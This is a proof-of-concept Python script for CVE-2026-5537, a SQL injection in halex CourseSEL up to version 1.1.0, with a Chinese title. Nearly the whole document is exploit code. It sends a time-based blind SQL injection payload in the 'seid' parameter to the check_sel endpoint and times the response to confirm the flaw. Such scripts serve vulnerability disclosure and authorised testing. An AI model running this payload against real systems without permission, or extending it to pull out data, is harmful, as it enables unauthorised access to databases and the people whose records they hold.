CVE-2026-5537 halex CourseSEL SQL注入漏洞

import requests # Description: PoC for CVE-2026-5537 SQL Injection # Target: halex CourseSEL <= 1.1.0 # Endpoint: /index.php/index/check_sel def exploit_sqli(target_url): # The vulnerable parameter is 'seid' # Payload attempts a basic time-based or union-based injection payload = { "seid": "1' AND SLEEP(5)-- -" # Simple time-based blind SQL injection test } try: print(f"Sending request to {target_url}...") response = requests.get(target_url, params=payload, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability confirmed (Time-based).") else: print("[-] Vulnerability not confirmed via timing, try error-based payload.") except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://vulnerable-host/index.php/index/check_sel" exploit_sqli(target)